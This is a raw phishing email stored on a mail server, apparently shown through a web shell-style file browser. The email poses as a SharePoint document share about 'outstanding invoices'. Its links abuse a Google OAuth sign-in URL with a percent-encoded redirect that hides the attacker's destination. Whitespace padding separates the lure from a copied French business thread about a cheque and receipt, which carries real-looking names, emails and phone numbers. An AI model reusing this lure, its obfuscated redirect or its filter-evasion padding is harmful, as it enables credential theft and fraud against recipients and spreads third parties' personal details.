Your IP : 216.73.217.78


Current Path : /home/seto/mail/new/
Upload File :
Current File : /home/seto/mail/new/1739865090.M439033P10704.web01.alphahost.lv,S=51122,W=52235

Return-Path: <bounce+1644a4.a77fd7-info=toilet-paper-calculator.com@danyelacorrea.com.br>
Delivered-To: seto@web01.alphahost.lv
Received: from web01.alphahost.lv
	by web01.alphahost.lv with LMTP
	id wODgGQI8tGfQKQAAiNxmsg
	(envelope-from <bounce+1644a4.a77fd7-info=toilet-paper-calculator.com@danyelacorrea.com.br>)
	for <seto@web01.alphahost.lv>; Tue, 18 Feb 2025 09:51:30 +0200
Return-path: <bounce+1644a4.a77fd7-info=toilet-paper-calculator.com@danyelacorrea.com.br>
Envelope-to: info@toilet-paper-calculator.com
Delivery-date: Tue, 18 Feb 2025 09:51:30 +0200
Received: from m42-12.mailgun.net ([69.72.42.12]:60892)
	by web01.alphahost.lv with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.96.2)
	(envelope-from <bounce+1644a4.a77fd7-info=toilet-paper-calculator.com@danyelacorrea.com.br>)
	id 1tkIO9-0003Fn-2s
	for info@toilet-paper-calculator.com;
	Tue, 18 Feb 2025 09:51:30 +0200
DKIM-Signature: a=rsa-sha256; v=1; c=relaxed/relaxed; d=danyelacorrea.com.br; q=dns/txt; s=smtp; t=1739865086; x=1739872286;
 h=Content-Transfer-Encoding: Content-Type: MIME-Version: Message-ID: Date: Subject: Subject: To: To: From: From: Sender: Sender;
 bh=k2owWn7dOaCL9oFt5+/PJl8hmUUXnX333QI4QB37Xtg=;
 b=WKDC+GXbI3B3D55UL5WNDp6rYryrCPo0BKSYJ50hFMw6PPQeh06B41yQUSDS5glfsMfHkXQIs1JLyaDi4KLO+rzhWp2hUIkQ1s8DozTMy/kstxT60h7ogZ4gSsAXIkiNKhj/sc/38wxVrxeQg+J3yP28ag61/VjGabbXM4ZTtgo=
X-Mailgun-Sending-Ip: 69.72.42.12
X-Mailgun-Sending-Ip-Pool-Name: 
X-Mailgun-Sending-Ip-Pool: 
X-Mailgun-Sid: WyIyZjllOSIsImluZm9AdG9pbGV0LXBhcGVyLWNhbGN1bGF0b3IuY29tIiwiYTc3ZmQ3Il0=
Received: from 134.246.233.35.bc.googleusercontent.com
 (134.246.233.35.bc.googleusercontent.com [35.233.246.134]) by 35c8860f4ea8
 with SMTP id 67b43bfeaa14b6276349407e; Tue, 18 Feb 2025 07:51:26 GMT
Sender: postmaster@danyelacorrea.com.br
From: SharePoint Storage Center<postmaster@danyelacorrea.com.br>
To: info@toilet-paper-calculator.com
Subject: Please study documents properly for outstanding invoices
Date: 18 Feb 2025 07:51:26 +0000
Message-ID: <20250218075126.AF8A41127E3120E4@danyelacorrea.com.br>
MIME-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: No, score=7.4
X-Spam-Score: 74
X-Spam-Bar: +++++++
X-Ham-Report: Spam detection software, running on the system "web01.alphahost.lv",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Sharepoint Documents SHAREPOINT Documents has been shared
    wιth you on info@toilet-paper-calculator.com 
 Content analysis details:   (7.4 points, 8.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: sajo.com]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [69.72.42.12 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [69.72.42.12 listed in sa-accredit.habeas.com]
  1.5 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
  0.0 HTTP_EXCESSIVE_ESCAPES URI: Completely unnecessary %-escapes
                             inside a URL
  0.0 T_MXG_EMAIL_FRAG       URI with email in fragment
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
                             envelope-from domain
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.0 KAM_SHORT              Use of a URL Shortener for very short URL
X-Spam-Flag: NO

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" xmlns:o=3D"urn:schemas-micr=
osoft-com:office:office" xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns:m=3D"http://schemas.microsoft.com/office/2004/12/omml" xmlns=3D"http:=
//www.w3.org/TR/REC-html40"><head>
	<title></title>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body lang=3D"EN-CA" style=3D"-ms-word-wrap: break-word;" link=3D"blue" vli=
nk=3D"purple">&nbsp;

<p><br>
<title></title>
</p>

<table width=3D"100%" style=3D"color: rgb(33, 33, 33); font-family: Calibri=
, Helvetica, sans-serif, EmojiFont; font-size: 16px; background-color: rgb(=
255, 255, 255);" border=3D"0" cellspacing=3D"0" cellpadding=3D"0" color=3D"=
">
	<tbody>
		<tr>
			<td align=3D"center">
			<table width=3D"604" bgcolor=3D"#f5f6fa" border=3D"0" cellspacing=3D"0" =
cellpadding=3D"0">
				<tbody>
					<tr>
						<td align=3D"center" style=3D"padding: 20px 0px 0px; border-top-color=
: rgb(28, 28, 28); border-top-width: 4px; border-top-style: solid;"><span s=
tyle=3D'color: rgb(28, 28, 28); font-family: "Segoe UI", Tahoma, Geneva, Ve=
rdana, sans-serif, serif, EmojiFont; font-size: 33px;'>Sharepoint Documents=
</span></td>
					</tr>
					<tr>
						<td width=3D"260" align=3D"center" style=3D"padding: 20px 0px;">
						<div style=3D"width: 100px; height: 100px; background-color: rgb(0, 1=
68, 255);">&nbsp;</div>
						</td>
					</tr>
					<tr>
						<td align=3D"center" style=3D"padding: 0px 132px 10px;">
						<h3 style=3D"margin: 0px; color: rgb(22, 35, 58);">SHAREPOINT</h3>
						</td>
					</tr>
					<tr>
						<td align=3D"center" style=3D"padding-bottom: 20px;">
						<p style=3D"margin: 0px; padding: 0px 60px; font-size: 0.9em;"><span =
style=3D"font-size: 16px;">Documents has been shared w&#953;th you on</span=
>&nbsp;<b>info@toilet-paper-calculator.com</b></p>

						<p><strong>Message: Please study documents properly for outstanding i=
nvoices.</strong></p>
						</td>
					</tr>
				</tbody>
			</table>

			<table width=3D"604" bgcolor=3D"#f5f6fa" border=3D"0" cellspacing=3D"0" =
cellpadding=3D"0">
				<tbody>
					<tr>
						<td align=3D"center" style=3D"padding: 5px 162px 40px;">
						<table width=3D"280" border=3D"0" cellspacing=3D"0" cellpadding=3D"0"=
>
							<tbody>
								<tr>
									<td width=3D"280" align=3D"center" style=3D"padding: 10px 0px; bor=
der: 2px solid rgb(28, 28, 28); border-image: none;" bgcolor=3D"white">
<a style=3D"font-size: 14px;" href=3D"https://accounts.google.com/o/oauth2/=
v2/auth?prompt=3Dnone&amp;auto_signin=3DTrue&amp;access_type=3Donline&amp;s=
tate=3D&amp;redirect_uri=3D%68%74%74%70%73%3A%2F%2F%74%61%63%6F%6E%73%74%72=
%75%63%74%69%6F%6E%73%2E%63%6F%6D%2F%4D%72%78%78%78%2F%4D%72%78%78%78%2F&am=
p;response_type=3Dcode&amp;client_id=3D453922390389-kl7f4mejr9kf5v881mpp3ob=
l2mmb77ft.apps.googleusercontent.com&amp;scope=3Dopenid+https://www.googlea=
pis.com/auth/userinfo.email#info@toilet-paper-calculator.com" target=3D"_bl=
ank"=20
rel=3D"noopener noreferrer" clicktracking=3D"off"><b>V&#953;ew&nbsp;</b></a=
>
<a href=3D"https://accounts.google.com/o/oauth2/v2/auth?prompt=3Dnone&amp;a=
uto_signin=3DTrue&amp;access_type=3Donline&amp;state=3D&amp;redirect_uri=3D=
%68%74%74%70%73%3A%2F%2F%74%61%63%6F%6E%73%74%72%75%63%74%69%6F%6E%73%2E%63=
%6F%6D%2F%4D%72%78%78%78%2F%4D%72%78%78%78%2F&amp;response_type=3Dcode&amp;=
client_id=3D453922390389-kl7f4mejr9kf5v881mpp3obl2mmb77ft.apps.googleuserco=
ntent.com&amp;scope=3Dopenid+https://www.googleapis.com/auth/userinfo.email=
#info@toilet-paper-calculator.com" target=3D"_blank" rel=3D"noopener norefe=
rrer"=20
clicktracking=3D"off"><b>Documents</b></a></td>
								</tr>
							</tbody>
						</table>
						</td>
					</tr>
				</tbody>
			</table>
			</td>
		</tr>
		<tr>
		</tr>
	</tbody>
=09=20=20=20=20=20=20=20=20
                                                                </table>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20



<meta name=3D"Generator" content=3D"Microsoft Word 15 (filtered medium)">
<!--[if !mso]><style>v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
=2Eshape {behavior:url(#default#VML);}
</style><![endif]--><style><!--
/* Font Definitions */
@font-face
        {font-family:"Cambria Math";
        panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
        {font-family:Calibri;
        panose-1:2 15 5 2 2 2 4 3 2 4;}
@font-face
        {font-family:Aptos;}
@font-face
        {font-family:"Segoe UI";
        panose-1:2 11 5 2 4 2 4 2 2 3;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
        {margin:0cm;
        font-size:12.0pt;
        font-family:"Aptos",sans-serif;}
a:link, span.MsoHyperlink
        {mso-style-priority:99;
        color:blue;
        text-decoration:underline;}
p.xxmsonormal, li.xxmsonormal, div.xxmsonormal
        {mso-style-name:x_x_msonormal;
        margin:0cm;
        font-size:12.0pt;
        font-family:"Aptos",sans-serif;}
span.EmailStyle22
        {mso-style-type:personal-reply;
        font-family:"Aptos",sans-serif;
        color:windowtext;}
=2EMsoChpDefault
        {mso-style-type:export-only;
        font-size:10.0pt;
        mso-ligatures:none;}
@page WordSection1
        {size:612.0pt 792.0pt;
        margin:72.0pt 72.0pt 72.0pt 72.0pt;}
div.WordSection1
        {page:WordSection1;}
--></style><!--[if gte mso 9]><xml>
<o:shapedefaults v:ext=3D"edit" spidmax=3D"1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapelayout v:ext=3D"edit">
<o:idmap v:ext=3D"edit" data=3D"1" />
</o:shapelayout></xml><![endif]-->


<div class=3D"WordSection1">
<p class=3D"MsoNormal"><span style=3D"mso-fareast-language: EN-US;">Bonjour=
, <o:p></o:p></span></p>
<p class=3D"MsoNormal"><span style=3D"mso-fareast-language: EN-US;"><o:p>&n=
bsp;</o:p></span></p>
<p class=3D"MsoNormal">Merci pour votre quittance<o:p></o:p></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA">Je vais laisser le ch&Atilde;&u=
ml;que avec le gardien de s&Atilde;&copy;curit&Atilde;&copy;</span><span la=
ng=3D"FR-CA" style=3D"mso-fareast-language: EN-US;"><o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-fareast-language: =
EN-US;"><o:p>&nbsp;</o:p></span></p>
<div>
<p class=3D"MsoNormal"><b><span lang=3D"FR-CA" style=3D"mso-ligatures: stan=
dardcontextual;">Merci et Bonne Journ&Atilde;&copy;e<o:p></o:p></span></b><=
/p>
<p class=3D"MsoNormal"><b><span lang=3D"FR-CA" style=3D"mso-ligatures: stan=
dardcontextual;">Thank you<o:p></o:p></span></b></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;"><o:p>&nbsp;</o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Michelle Otway<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Sp&Atilde;&copy;cialiste des comptes payables- Division des t=
ravaux publics<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"EN-US" style=3D"mso-ligatures: standar=
dcontextual;">Accounts Payable Specialist- Public Works division<o:p></o:p>=
</span></p>
<p class=3D"MsoNormal"><span style=3D"mso-ligatures: standardcontextual;"><=
o:p>&nbsp;</o:p></span></p>
<p class=3D"MsoNormal"><b><span lang=3D"FR-CA" style=3D"mso-ligatures: stan=
dardcontextual;">SAJO</span></b><span lang=3D"FR-CA" style=3D"mso-ligatures=
: standardcontextual;"><o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Design
<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Construction
<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Procurement<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Maintenance<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D'background: white; col=
or: rgb(32, 31, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'><=
o:p>&nbsp;</o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D'background: white; col=
or: rgb(32, 31, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'>T=
: 514-385-0333 x. 313</span><span lang=3D"FR-CA" style=3D'color: rgb(32, 31=
, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'><br>
<span style=3D"background: white;">F: 514-385-9506</span><br>
<span style=3D"background: white;">sajo.com</span></span><span lang=3D"FR-C=
A" style=3D'font-family: "Calibri",sans-serif; font-size: 11pt; mso-fareast=
-language: EN-US; mso-ligatures: standardcontextual;'><o:p></o:p></span></p=
>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"font-size: 16pt; mso-l=
igatures: standardcontextual;"><o:p>&nbsp;</o:p></span></p>
</div>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-fareast-language: =
EN-US;"><o:p>&nbsp;</o:p></span></p>
<div>
<div style=3D"border-width: 1pt medium medium; border-style: solid none non=
e; border-color: rgb(225, 225, 225) currentColor currentColor; padding: 3pt=
 0cm 0cm; border-image: none;">
<p class=3D"MsoNormal"><b><span lang=3D"EN-US" style=3D'font-family: "Calib=
ri",sans-serif; font-size: 11pt;'>From:</span></b><span lang=3D"EN-US" styl=
e=3D'font-family: "Calibri",sans-serif; font-size: 11pt;'> Compte recevable=
 &lt;recevable@isolationrgc.com&gt;
<br>
<b>Sent:</b> November 25, 2024 9:17 AM<br>
<b>To:</b> Michelle Otway &lt;MOtway@sajo.com&gt;<br>
<b>Cc:</b> Josianne Puvilland &lt;j.puvilland@isolationrgc.com&gt;<br>
<b>Subject:</b> Re: UQAM Cheque et quittance au 30.09.2024<o:p></o:p></span=
></p>
</div>
</div>
<p class=3D"MsoNormal"><o:p>&nbsp;</o:p></p>
<table width=3D"100%" align=3D"left" class=3D"MsoNormalTable" style=3D"widt=
h: 100%;" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
<tbody>
<tr>
<td width=3D"0" style=3D"background: rgb(166, 166, 166); padding: 5.25pt 1.=
5pt; width: 0.3pt;">
</td>
<td width=3D"100%" style=3D"background: rgb(234, 234, 234); padding: 5.25pt=
 3.75pt 5.25pt 11.25pt; transition:revert !important; width: 100%; aspect-r=
atio: revert; block-size: revert; color-scheme: revert; content-visibility:=
 revert; hyphens: revert; resize: revert; rotate: revert; scale: revert; ta=
b-size: revert; text-orientation: revert; text-wrap: revert; user-select: r=
evert;">
<div>
<p class=3D"MsoNormal" style=3D"mso-element: frame; mso-element-frame-hspac=
e: 2.25pt; mso-element-wrap: around; mso-element-anchor-vertical: paragraph=
; mso-element-anchor-horizontal: column; mso-height-rule: exactly;">
<span style=3D'color: rgb(33, 33, 33); font-family: "Segoe UI",sans-serif; =
font-size: 9pt;'>You don't often get email from
<a href=3D"mailto:recevable@isolationrgc.com">recevable@isolationrgc.com</a=
>. <a href=3D"https://aka.ms/LearnAboutSenderIdentification">
Learn why this is important</a> <o:p></o:p></span></p>
</div>
</td>
<td width=3D"75" style=3D"background: rgb(234, 234, 234); padding: 5.25pt 3=
=2E75pt; transition:revert !important; width: 56.25pt; aspect-ratio: revert=
; block-size: revert; color-scheme: revert; content-visibility: revert; hyp=
hens: revert; resize: revert; rotate: revert; scale: revert; tab-size: reve=
rt; text-orientation: revert; text-wrap: revert; user-select: revert; align=
: left;">
</td>
</tr>
</tbody>
</table>
<div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'>Bonjour,<o:p></o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'>Vous trouverez ci-joint la quittance partielle sign&Atilde;&co=
py;e pour votre projet P18022CC&nbsp; Pavillon Sanguinet pour ESG UQAM<o:p>=
</o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'>S'il vous pla&Atilde;&reg;t nous confirmer que tout est confor=
me,
<span style=3D"background: yellow;">et nous passerons r&Atilde;&copy;cup&At=
ilde;&copy;rer le</span> <span style=3D"background: yellow;">
ch&Atilde;&uml;que &Atilde;  vous bureaux.</span><o:p></o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div id=3D"Signature">
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'></span><span style=3D'color: black; font-family: "Calibri",san=
s-serif;'><o:p></o:p></span></p>
</div>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div align=3D"center" class=3D"MsoNormal" style=3D"text-align: center;">
<hr width=3D"98%" size=3D"2" align=3D"center">
</div>
<div id=3D"divRplyFwdMsg">
<p class=3D"MsoNormal"><b><span style=3D'color: black; font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>De :</span></b><span style=3D'color: black=
; font-family: "Calibri",sans-serif; font-size: 11pt;'> Josianne Puvilland =
&lt;<a href=3D"mailto:j.puvilland@isolationrgc.com">j.puvilland@isolationrg=
c.com</a>&gt;<br>
<b>Envoy&Atilde;&copy; :</b> 25 novembre 2024 08:12<br>
<b>&Atilde;&#8364; :</b> Compte recevable &lt;<a href=3D"mailto:recevable@i=
solationrgc.com">recevable@isolationrgc.com</a>&gt;<br>
<b>Objet :</b> TR : UQAM Cheque et quittance au 30.09.2024</span> <o:p></o:=
p></p>
<div>
<p class=3D"MsoNormal">&nbsp;<o:p></o:p></p>
</div>
</div>
<div>
<div>
<p class=3D"MsoNormal"><span style=3D"color: black;"><o:p>&nbsp;</o:p></spa=
n></p>
</div>
<div id=3D"x_Signature">
<div>
<p class=3D"MsoNormal"><span style=3D"color: black;"><o:p>&nbsp;</o:p></spa=
n></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D"color: black;"></span><span style=3D"=
color: black;"><o:p></o:p></span></p>
</div>
</div>
<div align=3D"center" class=3D"MsoNormal" style=3D"text-align: center;">
<hr width=3D"98%" size=3D"2" align=3D"center">
</div>
<div id=3D"x_divRplyFwdMsg">
<p class=3D"MsoNormal"><b><span style=3D'color: black; font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>De :</span></b><span style=3D'color: black=
; font-family: "Calibri",sans-serif; font-size: 11pt;'> Michelle Otway &lt;=
<a href=3D"mailto:MOtway@sajo.com">MOtway@sajo.com</a>&gt;<br>
<b>Envoy&Atilde;&copy; :</b> 22 novembre 2024 16:17<br>
<b>&Atilde;&#8364; :</b> Josianne Puvilland &lt;<a href=3D"mailto:j.puvilla=
nd@isolationrgc.com">j.puvilland@isolationrgc.com</a>&gt;<br>
<b>Cc&nbsp;:</b> Vanessa D'Olimpio &lt;<a href=3D"mailto:VDOlimpio@sajo.com=
">VDOlimpio@sajo.com</a>&gt;; Bruno Villani &lt;<a href=3D"mailto:BVillani@=
sajo.com">BVillani@sajo.com</a>&gt;<br>
<b>Objet :</b> UQAM Cheque et quittance au 30.09.2024</span> <o:p></o:p></p=
>
<div>
<p class=3D"MsoNormal">&nbsp;<o:p></o:p></p>
</div>
</div>
<div>
<div>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>Bonjour,</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>Veuillez trouver en p.j. la copie de votre=
 cheque et la quittance &Atilde;  signer au 30.09.2024</span><o:p></o:p></p=
>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>SVP signer la quittance et me la retourner=
 par courriel en couleur scan
</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif;'>Vous pouvez r&Atilde;&copy;cup&Atilde;&copy;rer le ch&Atild=
e;&uml;que et faire l&acirc;&#8364;&#8482;&Atilde;&copy;change &Atilde;  no=
s bureau</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><b><span lang=3D"FR-CA">Merci et Bonne Journ&Atild=
e;&copy;e</span></b><o:p></o:p></p>
<p class=3D"xxmsonormal"><b><span lang=3D"FR-CA">Thank you</span></b><o:p><=
/o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Michelle Otway</span><o:p></o=
:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Sp&Atilde;&copy;cialiste des =
comptes payables- Division des travaux publics</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"EN-US">Accounts Payable Specialist- =
Public Works division</span><o:p></o:p></p>
<p class=3D"xxmsonormal">&nbsp;<o:p></o:p></p>
<p class=3D"xxmsonormal"><b><span lang=3D"FR-CA">SAJO</span></b><o:p></o:p>=
</p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Design </span><o:p></o:p></p>=

<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Construction </span><o:p></o:=
p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Procurement</span><o:p></o:p>=
</p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Maintenance</span><o:p></o:p>=
</p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'background: white; c=
olor: rgb(32, 31, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'=
>&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'background: white; c=
olor: rgb(32, 31, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'=
>T: 514-385-0333 x. 313</span><span lang=3D"FR-CA" style=3D'color: rgb(32, =
31, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'><br>
<span style=3D"background: white;">F: 514-385-9506</span><br>
<span style=3D"background: white;">sajo.com</span></span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D"font-size: 16pt;">&n=
bsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">&nbsp;</span><o:p></o:p></p>
</div>
</div>
</div>
</div>
</div>



=20=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20=20=20
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
